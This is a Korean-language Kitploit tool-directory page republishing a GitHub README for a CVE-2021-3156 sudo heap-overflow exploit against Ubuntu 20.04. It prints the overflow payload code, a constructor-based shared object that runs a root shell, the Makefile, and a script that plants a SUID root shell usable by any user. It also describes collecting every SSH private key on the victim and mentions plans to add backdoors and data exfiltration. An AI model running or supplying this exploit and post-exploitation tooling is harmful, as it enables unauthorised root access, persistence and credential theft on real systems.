Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PE_CVE-CVE-2021-3156 — CVE-2021-3156을 이용한 Ubuntu 20.04 익스플로잇, 포스트 익스플로잇 스크립트로 강화됨 | Kitploit
도구/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload DevelopmentBinary Exploitation
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

CVE-2021-3156을 이용한 Ubuntu 20.04 익스플로잇, 포스트 익스플로잇 스크립트로 강화됨

7143년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

PE_CVE-CVE-2021-3156

Ubuntu 20.04용 CVE-2021-3156 익스플로잇, 간단하고 자동화된 사후 침투 스크립트로 향상됨

루트 셸 외에도 다음을 얻을 수 있습니다:

-서버에 구성된 모든 id_rsa SSH 키가 포함된 .txt 파일. 스크립트 참조: get_all_ssh_keys.sh

-모든 사용자가 루트 셸을 시작할 수 있는 privshell 실행 파일 (gcc 오류 수정 중). 스크립트 참조: create_privshell.sh

PE_CVE-CVE-2021-3156에 대한 PoC.

요구 사항

성공적인 결과를 얻으려면 피해자 시스템이 다음 OS 및 Sudo 버전 중 하나를 사용해야 합니다:

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

image

내 VM을 취약하게 만들기 위해 다음 명령으로 sudo 버전을 다운그레이드했습니다:

root@kitploit:~
$ sudo apt install sudo=1.8.31-1ubuntu1

익스플로잇

익스플로잇은 상당한 권한이 없는 사용자로 피해자 시스템에 접근할 수 있는 한 작동합니다.

image

저장소를 피해자 시스템 또는 로컬 시스템에 클론하고 wget으로 로드할 수 있습니다.

image

"make" 명령을 실행하여 취약점에 따라 .c 파일을 컴파일하세요. image

익스플로잇 파일을 얻을 수 있으므로 "./"로 실행할 수 있습니다. 익스플로잇을 실행하면 저장소에 두 개의 파일이 생성되는데, 하나는 시스템에 등록된 모든 SSH 키를 보유하고 다른 하나는 모든 사용자에게 루트 세션을 허용하는 SUID 실행 파일입니다. (보라색으로 강조됨)

image

다음과 같은 오류가 발생할 수 있습니다:

image

아직 이 오류를 해결하려고 노력 중이지만, 익스플로잇을 생성하는 셸 문제라고 생각합니다. 적절한 권한을 가진 사용자로 sudo su를 통해 루트로 접속하여 ./create_privshell.sh 명령을 실행해 보았고 스크립트 컴파일은 정상이었습니다. 또는 다른 시스템에서 컴파일하여 피해자에게 복사할 수 있으므로 wget 요청이 존재하는 것입니다.

컴파일할 스크립트는 다음과 같습니다:

root@kitploit:~
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

이제 모든 SSH 키가 포함된 .txt 파일을 읽고 gcc 오류를 수정할 때까지 privshell을 사용할 수 있습니다. image

CVE-2021-3156에 대하여.

Qualys에 의해 발견됨

CVSS 점수 7.8

CVE-2021-3156는 "Baron Samedit" 취약점이라고도 알려져 있으며, Unix 기반 운영 체제에서 널리 사용되는 sudo 프로그램에 영향을 미치는 보안 취약점입니다. Sudo는 사용자가 일반적으로 자신의 비밀번호나 루트 비밀번호를 입력하여 상승된 권한으로 명령을 실행할 수 있도록 하는 프로그램입니다. 이 취약점은 사용자가 상승된 권한으로 파일을 편집할 수 있게 해주는 sudo 명령의 "sudoedit" 기능에서 버퍼 오버플로 문제로 인해 발생합니다. 이 취약점은 2021년 1월 Qualys Research Labs에 의해 처음 발견되었으며, sudo 버전 1.8.2 ~ 1.8.31p2 및 1.9.0 ~ 1.9.5p1에 영향을 미칩니다.

###매우 매우 기술적인 세부 사항 정보 출처: Qualys

image

image

image

즉, set_cmnd()는 "user_args" 버퍼에 복사되는 범위를 벗어난 문자들이 해당 버퍼의 크기(852-853줄에서 계산됨)에 포함되지 않았기 때문에 힙 기반 버퍼 오버플로우에 취약합니다.

오버플로 부분에는 redhawkeye/sudo-exploit의 exploit.c 파일을 사용했습니다.

약간 복잡하지만 쉽게 해석할 수 있습니다.

root@kitploit:~
 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

이 부분은 execve 시스템 호출에 전달될 환경 변수 배열 env를 선언합니다. 환경 변수에는 일련의 백슬래시와 "C.UTF-8@"에 208(0xd0)개의 'A' 문자가 연결된 특수하게 조작된 LC_ALL 변수가 포함되어 있습니다. C.UTF-8@ 값은 sudoedit 명령에 LC_ALL 환경 변수로 전달됩니다. 208개의 'A' 문자는 sudoedit 프로그램의 버퍼를 오버플로하고 임의 코드를 실행하는 데 사용됩니다.

root@kitploit:~
  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

이 부분은 112(0x70)개의 'A' 문자 뒤에 백슬래시가 있는 문자열 a를 선언합니다. 그런 다음 execve에 전달될 배열 argv를 선언합니다. 배열에는 sudoedit 명령(/usr/bin/sudoedit)의 경로, -s 플래그 및 위에서 생성된 a 변수가 포함됩니다.

root@kitploit:~
  execve(argv[0], argv, env);

이것은 제공된 인수와 환경 변수를 사용하여 sudoedit 명령을 실제로 실행하는 execve 시스템 호출입니다. sudoedit 프로그램은 LC_ALL 환경 변수를 읽고 이를 파일 경로로 구문 분석하려고 시도합니다. 넘치는 'A' 문자는 메모리에 임의의 데이터를 쓰고 잠재적으로 임의의 코드를 실행하는 데 사용됩니다.

따라서 RCE를 위해 예약된 메모리의 이 데이터는 shell_tool.c 파일에서 사용됩니다.

root@kitploit:~
__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

이 코드 부분은 attribute((constructor)) 속성을 가진 sice 함수를 선언하므로, main()이 실행되기 전에 프로그램 시작 시 자동으로 호출됩니다. sice 함수 내에서 setuid(0) 함수가 호출되어 프로세스의 유효 사용자 ID를 0(슈퍼유저 또는 루트의 사용자 ID)으로 설정합니다. 이는 프로그램에 루트 권한을 효과적으로 부여합니다. 그 후, system("command") 인수를 사용하여 루트 셸이 터미널에 나타나기 전에 원하는 모든 작업을 수행할 수 있습니다. 그래서 루트 셸을 얻기 전에 몇 가지 백도어와 데이터를 유출하기 위해 스크립팅을 시도하려고 했습니다.

mybufferof.c라는 자체 버전의 코드를 작성하려고 했습니다. 기본적으로 매우 유사하므로 Makefile을 수정하여 테스트해 보세요. ㅎㅎ

Makefile에 대하여

root@kitploit:~
all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

먼저 익스플로잇을 컴파일하고 "libnss_X" 디렉토리를 생성해야 합니다. 그런 다음 마지막 명령이 shell_tool.c 파일을 컴파일하고 libnss_X 디렉토리에 X.so.2라는 공유 객체 파일을 생성합니다:

-g 플래그는 공유 객체 파일에 대한 디버그 정보를 생성합니다.

-fPIC 플래그는 공유 객체에 대한 위치 독립 코드를 생성합니다.

-shared 플래그는 공유 객체 파일을 생성하도록 지정합니다.

결과 공유 객체 파일 X.so.2는 두 번째 단계에서 생성된 libnss_X 디렉토리에 배치됩니다.

이것은 CVE에서 중요합니다. 이유는 다음과 같습니다:

image

데이터 출처:Qualys

이게 전부입니다. 즐기세요, 아마도.

도구 다운로드